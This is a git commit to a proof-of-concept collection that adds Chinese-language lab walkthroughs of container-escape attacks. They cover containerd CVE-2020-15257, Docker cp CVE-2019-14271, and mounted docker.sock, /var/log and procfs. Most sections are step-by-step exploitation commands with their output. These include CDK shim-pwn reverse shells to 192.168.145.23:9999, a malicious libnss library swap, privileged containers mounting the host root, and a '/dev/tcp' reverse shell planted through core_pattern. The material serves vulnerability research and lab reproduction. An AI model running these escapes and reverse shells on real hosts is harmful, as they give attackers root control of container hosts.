update cloud native vulnerabilities

This commit is contained in:
Threekiii 2025-05-26 15:46:50 +08:00
parent f49058cb89
commit f6e2cab337
34 changed files with 639 additions and 40 deletions

View File

@ -0,0 +1,127 @@
# Containerd 漏洞导致容器逃逸 CVE-2020-15257
## 漏洞描述
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API用于在一个机器上管理容器。
在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,由于在网络模式为 host 的情况下,容器与宿主机共享一套 Network namespace ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 为 0但没有限制对抽象 Unix 域套接字的访问,刚好在默认情况下,容器内部的进程是以 root 用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API从而实现容器逃逸。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2020-15257
- https://xz.aliyun.com/t/8681
- https://www.cdxy.me/?p=837
- https://github.com/Metarget/metarget
- https://github.com/cdk-team/CDK/issues/114
## 漏洞影响
```
containerd < 1.4.3
containerd < 1.3.9
```
## 环境搭建
ubuntu 18.04 使用以下脚本 `install_containerd_1.2.6.sh` 安装 Docker 19.03.6 和 Containerd.io 1.2.6
```shell
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 19.03.6..."
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
if [ -z "$DOCKER_VERSION" ]; then
echo "[!] Docker 19.03.6 not found in repository."
exit 1
fi
echo "[*] Found Docker version: $DOCKER_VERSION"
echo "[*] Searching for containerd.io 1.2.6..."
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
if [ -z "$CONTAINERD_VERSION" ]; then
echo "[!] containerd.io 1.2.6 not found in repository."
exit 1
fi
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"
echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION
echo "[*] Locking versions to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current versions:"
docker --version
containerd --version
```
![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526141659954.png)
## 漏洞复现
使用以下命令启动容器:
```shell
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
```
在容器内执行命令,查看是否可看到抽象命名空间 Unix 域套接字:
```shell
root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"
```
![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526142415797.png)
然后下载漏洞利用工具 [CDK](https://github.com/cdk-team/CDK),并将其传入容器 `/tmp` 目录下:
```shell
sudo docker cp cdk_v0.1.6 15257:/tmp
```
攻击端监听 9999 端口。在容器内运行工具,执行反弹 shell 命令,验证得到一个宿主机的 shell
```shell
sudo docker exec -it 15257 bash
-----
root@ubuntu:/# cd /tmp
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock
```
![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526152743557.png)
成功接收反弹 shell
![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526152859687.png)
> 注意,此处最好使用 [cdk v0.1.6](https://github.com/cdk-team/CDK/releases/tag/0.1.6),如果使用最新版,将触发异常 `connection refused`,可参考 [issues/114](https://github.com/cdk-team/CDK/issues/114)
![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526153116443.png)
## 漏洞修复
升级 `containerd` 至最新版本。

View File

@ -28,6 +28,9 @@ set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

View File

@ -0,0 +1,125 @@
# Docker copy 漏洞导致容器逃逸 CVE-2019-14271
## 漏洞描述
`docker cp` 命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 `/var/logs`,语法是 `docker cp container_name:/var/logs /some/host/path`
在复制的过程中 Docker 使用了一个名为 `docker-tar` 的帮助进程。`docker-tar` 是通过 chroot 到容器,将请求的文件或目录存档,然后将生成的 tar 文件传递给 Docker daemon然后由 daemon 提取到主机的目标目录中。
有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中,一些含有嵌入 C 代码cgo的包会在运行时动态加载共享的库。这些包包括 `net``os/user`,都是 docker-tar 使用的,而且在运行时会加载多个 `libnss_*.so` 库。一般来说,库是从 `host` 文件系统加载的,但因为 `docker-tar`chroot 到了容器,因此会从容器文件系统中加载库。也就是说 `docker-tar` 会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到 `docker-tar`,恶意容器就可以获取 host 主机的完全 root 访问权限。
可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:
- 容器运行含有恶意 `libnss_*.so` 库的镜像
- 容器中含有被攻击者替换的 `libnss_*.so`
在这两种情况下,攻击者都可以获取主机上的 root 代码执行权限。
参考链接:
- https://xz.aliyun.com/t/6806
- https://nvd.nist.gov/vuln/detail/CVE-2019-14271
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
- https://github.com/Metarget/metarget
## 漏洞影响
```
v18.09.9<= Docker <v19.03.8
```
## 环境搭建
ubuntu 18.04 使用以下脚本 `install_docker_19.03.0.sh` 安装 Docker 19.03.0
```shell
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 19.03.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
echo "[*] Docker 19.03.0 not found"
exit 1
fi
echo "[*] Found version: $VERSION_STRING"
echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io
echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current version:"
docker --version
```
![](images/Docker%20copy%20漏洞导致容器逃逸%20CVE-2019-14271/image-20250526134145172.png)
## 漏洞复现
新建一个容器:
```shell
sudo docker run -itd --name=14271 ubuntu bash
```
将 [漏洞利用文件](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp) 拷贝至容器内:
```shell
sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/
```
删除容器内原来的 .so 文件,替换为修改后的恶意 .so 文件:
```shell
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls /exp
breakout libnss_files.so.2 original_libnss_files.so.2
root@7271b49ce3d1:/# cp /exp/* /
root@7271b49ce3d1:/# chmod 777 /breakout
root@7271b49ce3d1:/# touch /logs
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
root@7271b49ce3d1:/# exit
exit
```
替换后退出容器,在宿主机上执行 cp 命令完成逃逸:
```shell
sudo docker cp 14271:/logs ./
```
进入容器内部,可发现根目录下存在 `host_fs` 目录挂载了宿主机的文件系统,成功逃逸:
```shell
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls -al / | grep host_fs
drwxr-xr-x 24 root root 4096 May 26 05:46 host_fs
```
![](images/Docker%20copy%20漏洞导致容器逃逸%20CVE-2019-14271/image-20250526135350026.png)
## 漏洞修复
- 升级至最新版本 https://docs.docker.com/engine/release-notes/

View File

@ -29,6 +29,9 @@ set -e
echo "🔧 卸载旧版本 Docker如果有..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "🔓 解除版本锁定 (如果有)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "🧹 删除错误的 Docker 源..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

View File

@ -34,12 +34,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f privileged-container.yaml
```
或直接通过 metarget 启动漏洞环境:
```
./metarget cnv install privileged-container
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `privileged-container` 的包含特权容器的 pod
```

View File

@ -29,12 +29,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f k8s_node_proxy.yaml
```
或直接通过 metarget 启动漏洞环境:
```
./metarget cnv install k8s_node_proxy
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s_node_proxy` 的 pod
```

View File

@ -32,12 +32,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f k8s_shadow_apiserver.yaml
```
或直接通过 metarget 启动漏洞环境:
```shell
./metarget cnv install k8s_shadow_apiserver
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-shadow-apiserver` 的 pod
```

View File

@ -32,12 +32,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f k8s_backdoor_cronjob.yaml
```
或直接通过 metarget 启动漏洞环境:
```shell
./metarget cnv install k8s_backdoor_cronjob
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-backdoor-cronjob` 的 pod
```

View File

@ -33,12 +33,6 @@ kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f k8s_backdoor_daemonset.yaml
```
或直接通过 metarget 启动漏洞环境:
```shell
./metarget cnv install k8s_backdoor_daemonset
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `k8s-backdoor-daemonset` 的 pod
```
@ -86,18 +80,28 @@ cdk-backdoor-daemonset 1 1 1 1 1 <n
CDK 将宿主机根目录挂载到了 [/host-root](https://github.com/cdk-team/CDK/blob/main/test/k8s_exploit_util/backdoor_daemonset.yaml),此时我们已经获取了宿主机权限:
```
kubectl exec -n kube-system -it cdk-backdoor-daemonset-4jx5r -- /bin/bash
root@minikube:/# ls -al /tmp
total 8
drwxrwxrwt 1 root root 4096 Apr 22 02:11 .
drwxr-xr-x 1 root root 4096 Apr 22 02:52 ..
-rw-r--r-- 1 root root 0 Apr 22 02:11 awesome_poc
root@minikube:/# chroot /host-root
# cat /etc/hostname
ubuntu
kubectl get pods -n kube-system | grep cdk
-----
cdk-backdoor-daemonset-rvmp9 1/1 Running 0 7m12s
```
![](images/Kubernetes%20部署后门%20Daemonset/image-20250422111055446.png)
![](Public/Awesome-POC/云安全漏洞/images/Kubernetes%20部署后门%20Daemonset/image-20250519180051414.png)
```
kubectl exec -n kube-system -it cdk-backdoor-daemonset-rvmp9 -- /bin/bash
root@minikube:/# ls -al /tmp
total 8
drwxrwxrwt 1 root root 4096 May 19 09:49 .
drwxr-xr-x 1 root root 4096 May 19 09:49 ..
-rw-r--r-- 1 root root 0 May 19 09:49 awesome_poc
root@minikube:/# chroot /host-root
# cat /etc/hostname
minikube
```
![](Public/Awesome-POC/云安全漏洞/images/Kubernetes%20部署后门%20Daemonset/image-20250519180036573.png)
> 由于我们是在 minikube 上运行 kubernetes这里逃逸到的是 minikube 虚拟机。
## 环境复原

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 89 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 343 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 75 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 228 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

View File

@ -0,0 +1,136 @@
# 挂载 docker.sock 导致容器逃逸
## 漏洞描述
Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock可通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。
参考链接:
- https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ
## 环境搭建
基础环境准备Docker + Minikube + Kubernetes可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
本例中各组件版本如下:
```
Docker version: 18.09.3
minikube version: v1.35.0
Kubectl Client Version: v1.32.3
Kubectl Server Version: v1.32.0
```
通过 yaml 文件创建漏洞环境:
```
kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f mount-docker-sock.yaml
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `mount-docker-sock` 的 pod宿主机的 `/var/run/docker.sock` 被挂载在容器内部:
```
kubectl get pods -n metarget
-----
NAME READY STATUS RESTARTS AGE
mount-docker-sock 1/1 Running 0 13s
```
![](images/挂载%20docker.sock%20导致容器逃逸/image-20250519172523152.png)
## 漏洞复现
通过以下两个步骤来完成简单逃逸:
1. 在容器内安装 Docker 命令行客户端
2. 使用容器内的客户端通过 Docker socket 与 Docker 守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。
执行以下命令进入容器:
```shell
kubectl exec -n metarget -it mount-docker-sock -- bash
```
在容器内安装 Docker 命令行客户端:
```
# 先将源替换为中科大源
sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
apt update && apt install -y wget
# 然后下载编译好的 docker 客户端
wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
tar xf ./docker-17.03.0-ce.tgz
```
成功安装 Docker 客户端:
```
root@mount-docker-sock:/# cd docker
root@mount-docker-sock:/docker# ls
docker docker-containerd docker-containerd-ctr docker-containerd-shim docker-init docker-proxy docker-runc dockerd
```
![](images/挂载%20docker.sock%20导致容器逃逸/image-20250519173026494.png)
执行 docker 命令 `docker ps`,结果和宿主机相同,证实 docker.sock 挂载成功:
```
root@mount-docker-sock:/docker# ./docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
abf602bae267 602eb6fb314b "/bin/bash -c -- '..." 8 minutes ago Up 8 minutes k8s_ubuntu_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
b347f319bf8b registry.k8s.io/pause:3.10 "/pause" 8 minutes ago Up 8 minutes k8s_POD_mount-docker-sock_metarget_75b4ad1b-0193-4008-b559-4dbd7d92cc3f_0
...
```
![](images/挂载%20docker.sock%20导致容器逃逸/image-20250519173128232.png)
启动一个挂载宿主机根目录的特权容器,完成简单逃逸:
```
kubectl exec -n metarget -it mount-docker-sock -- bash
root@mount-docker-sock:/# cd docker
root@mount-docker-sock:/docker# ./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
root@5b61ce1ed2ce:/# chroot /host
# cat /etc/hostname
minikube
```
![](images/挂载%20docker.sock%20导致容器逃逸/image-20250519180629556.png)
> 由于我们是在 minikube 上运行 kubernetes这里逃逸到的是 minikube 虚拟机。
## 环境复原
```
kubectl delete -f mount-docker-sock.yaml
kubectl delete -f k8s_node_proxy.yaml
```
## YAML
[mount-docker-sock.yaml](https://github.com/Metarget/metarget/blob/master/vulns_cn/mounts/pods/mount-docker-sock.yaml)
```
apiVersion: v1
kind: Pod
metadata:
name: mount-docker-sock
namespace: metarget
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
```

View File

@ -0,0 +1,172 @@
# 挂载 log 目录导致容器逃逸
## 漏洞描述
当 pod 以可写权限挂载了宿主机的 `/var/log` 目录,且 pod 里的 service account 有权限访问该 pod 在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸。
下图展示了 `kubectl logs <pod-name>` 如何从 pod 中检索日志:
![](images/挂载%20log%20目录导致容器逃逸/image-20250520141902202.png)
kubelet 会在宿主机上的 `/var/log` 目录中创建一个目录结构,如图符号①,代表节点上的 pod。但 `0.log` 实际上是一个符号链接,指向 `/var/lib/docker/containers` 目录中的容器日志文件。当使用 `kubectl logs <pod-name>` 命令查询指定 pod 的日志时,实际上是向 kubelet 的 `/logs/pods/<path_to_0.log>` 接口发起 HTTP 请求。对于该请求的处理逻辑如下:
`kubernetes\pkg\kubelet\kubelet.go:1371`
```go
if kl.logServer == nil {
kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
}
```
kubelet 会解析该请求地址,去 `/var/log` 对应的目录下读取 log 文件并返回。当 pod 以可写权限挂载了宿主机上的 `/var/log` 目录时,可以在该路径下创建一个符号链接,指向宿主机的根目录,然后构造包含该符号链接的恶意 kubelet 请求,宿主机在解析时会解析该符号链接,导致可以读取宿主机任意文件和目录。
参考链接:
- https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
- https://github.com/danielsagi/kube-pod-escape
## 环境搭建
基础环境准备Docker + Minikube + Kubernetes可参考 [Kubernetes + Ubuntu 18.04 漏洞环境搭建](https://github.com/Threekiii/Awesome-POC/blob/master/%E4%BA%91%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/Kubernetes%20%2B%20Ubuntu%2018.04%20%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md) 完成。
本例中各组件版本如下:
```
Docker version: 18.09.3
minikube version: v1.35.0
Kubectl Client Version: v1.32.3
Kubectl Server Version: v1.32.0
```
通过 yaml 文件创建漏洞环境:
```
kubectl apply -f k8s_metarget_namespace.yaml
kubectl apply -f mount-var-log.yaml
```
执行完成后K8s 集群内 `metarget` 命名空间下将会创建一个名为 `mount-var-log` 的 pod
```
kubectl get pods -n metarget
-----
NAME READY STATUS RESTARTS AGE
mount-var-log 1/1 Running 0 28s
```
![](images/挂载%20log%20目录导致容器逃逸/image-20250520141234815.png)
宿主机的 `/var/log` 被挂载在容器内部且该 pod 有权限访问日志。
> 如果此处报错 `ErrImagePull`,可以采用如下形式将镜像直接导入 minikube
```
docker pull danielsagi/kube-pod-escape
minikube image load danielsagi/kube-pod-escape:latest
```
## 漏洞复现
mount-var-log.yaml 中使用的是 [该项目](https://github.com/danielsagi/kube-pod-escape) 中的镜像 `danielsagi/kube-pod-escape`。构建好的 pod 内部已经内置了漏洞利用代码,可通过自定义命令读取宿主机的任意文件或目录:
```
lsh 等于宿主机上的ls
cath 等于宿主机上的cat
```
执行以下命令进入容器:
```shell
kubectl exec -it mount-var-log -n metarget -- bash
```
执行命令:
```
kubectl exec -it mount-var-log -n metarget -- bash
root@mount-var-log:~/exploit# lsh /root
.bashrc
.kube/
.profile
.sudo_as_admin_successful
cdk/
```
![](images/挂载%20log%20目录导致容器逃逸/image-20250520151106730.png)
> 由于我们是在 minikube 上运行 kubernetes这里逃逸到的是 minikube 虚拟机可以看到pod 执行 `lsh /root` 后列出的目录确实是 minikube 虚拟机的 `/root` 目录。
![](images/挂载%20log%20目录导致容器逃逸/image-20250520151148672.png)
## 环境复原
```
kubectl delete -f mount-var-log.yaml
kubectl delete -f k8s_metarget_namespace.yaml
```
## YAML
[k8s_metarget_namespace.yaml](https://github.com/Metarget/metarget/blob/master/yamls/k8s_metarget_namespace.yaml)
```
apiVersion: v1
kind: Namespace
metadata:
name: metarget
```
mount-var-log.yaml修改自 [kube-pod-escape/escaper.yml](https://github.com/danielsagi/kube-pod-escape/blob/master/escaper.yml)
```
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
namespace: metarget
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
namespace: metarget
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
namespace: metarget
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: metarget
---
apiVersion: v1
kind: Pod
metadata:
name: mount-var-log
namespace: metarget
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
imagePullPolicy: IfNotPresent
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
```

View File

@ -0,0 +1,53 @@
# 挂载宿主机 procfs 系统导致容器逃逸
## 漏洞描述
procfs 是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的 procfs 挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用 root 权限,且没有开启 user namespace 时Docker 默认情况下不会为容器开启 user namespace
一般来说,我们不会将宿主机的 procfs 挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
procfs 中的 `/proc/sys/kernel/core_pattern` 负责配置进程崩溃时内存转储数据的导出方式。从 [手册](http://man7.org/linux/man-pages/man5/core.5.html) 中我们能获得关于内存转储的详细信息,关键信息如下:
> 从 2.6.19 内核版本开始Linux 支持在 `/proc/sys/kernel/core_pattern` 中使用新语法。如果该文件中的首个字符是管道符 `|`,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
我们可以利用上述机制,在挂载了宿主机 procfs 的容器内实现逃逸。
参考链接:
- https://docs.docker.com/engine/security/userns-remap/
- http://man7.org/linux/man-pages/man5/core.5.html
- https://github.com/cdk-team/CDK
## 环境搭建
通过以下命令启动一个漏洞环境,下载 [cdk](https://github.com/cdk-team/CDK),将其拷贝进容器:
```
docker run -v /root/cdk:/cdk -v /proc:/host_proc --rm -it ubuntu bash
```
宿主机的 procfs 在容器内部的挂载路径是 `/host-proc`
## 漏洞复现
我们利用 cdk 写入反弹 shell 并执行:
```
./cdk run mount-procfs /host_proc 'echo "/bin/bash -i >& /dev/tcp/192.168.69.23/9999 0>&1" > /tmp/rev'
./cdk run mount-procfs /host_proc "chmod +x /tmp/rev"
./cdk run mount-procfs /host_proc "bash /tmp/rev"
# 或者直接执行:
# ./cdk run mount-procfs /host_proc "bash -c '/bin/bash -i >& /dev/tcp/192.168.69.23/9999 0>&1'"
```
![](images/挂载宿主机%20procfs%20系统导致容器逃逸/image-20250520113929303.png)
成功接收:
```
nc -vvl 9999
```
![](images/挂载宿主机%20procfs%20系统导致容器逃逸/image-20250520113952809.png)